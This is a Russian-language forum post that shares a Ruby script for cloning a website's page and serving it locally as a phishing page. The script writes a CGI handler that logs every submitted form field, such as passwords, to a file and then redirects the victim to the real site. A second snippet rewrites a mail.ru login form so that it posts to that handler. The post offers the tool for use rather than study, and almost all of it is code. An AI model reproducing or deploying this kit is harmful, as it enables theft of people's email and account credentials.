Так не чего тут сложного и нет )
Как то давно на руби скрипт для себя писал на подобии:
Ruby:
require 'webrick'
require 'open-uri'
menu1 = ""
while menu1 != "3"
module_exec = true
puts ""
puts "--------- Menu-----------"
puts ""
puts "1- copy url"
puts ""
puts "2-start server"
puts ""
puts "3- Exit"
puts ""
print " -> "
menu1 = gets.chomp
puts ""
case menu1
when "1"
puts "1- copy?"
puts ""
puts "0- Back"
puts ""
print " -> "
menu2 = gets.chomp
case menu2
when "0"
module_exec = false
when "1"
print 'vvesti url '
url = gets.chomp.to_s
if File.open('www\index.html', 'w'){ |file|
file.write open('http://' + url).read
} then
post = "require 'cgi'\ncgi = CGI.new\nparam = cgi.params\nFile.open('log.txt', 'a'){ |f| f.puts(\"\#{param}\\n\") }\nprint \"Content-type: text/html\\r\\n\\r\\n\"\nprint '</head><body><script language=\"javascript\" type=\"text/javascript\">document.location=\"http://" + url + "\";</script></body></html>\\r\\n'"
puts ''
puts ''
puts ''
puts 'OK!!!'
File.open('www\post.cgi', 'w'){ |f| f.puts(post) }
end
else
module_exec = false
end
when "2"
puts "1-start server"
puts ""
puts "0- Back"
puts ""
print " -> "
menu2 = gets.chomp
case menu2
when "0"
module_exec = false
when "1"
WEBrick::HTTPServer.new(:DocumentRoot=>'www',:CGIInterpreter => 'C:\Ruby192\bin\ruby.exe').start
else
module_exec = false
end
else
module_exec = false
end
end
Пару строк убрал из примера )))
А так для познания поиска и замены в скрипте:
Ruby:
ww = File.open('rezultat.txt', 'a')
str = '<form method="post" action="http://e.mail.ru/cgi-bin/auth" name="Auth" onSubmit="return CheckForm(this);">'
str.scan(/action="(.*)" name/){|w| ww.puts str.sub(w.first , 'post.cgi') }
Пример для замены поля авторизации на нужный )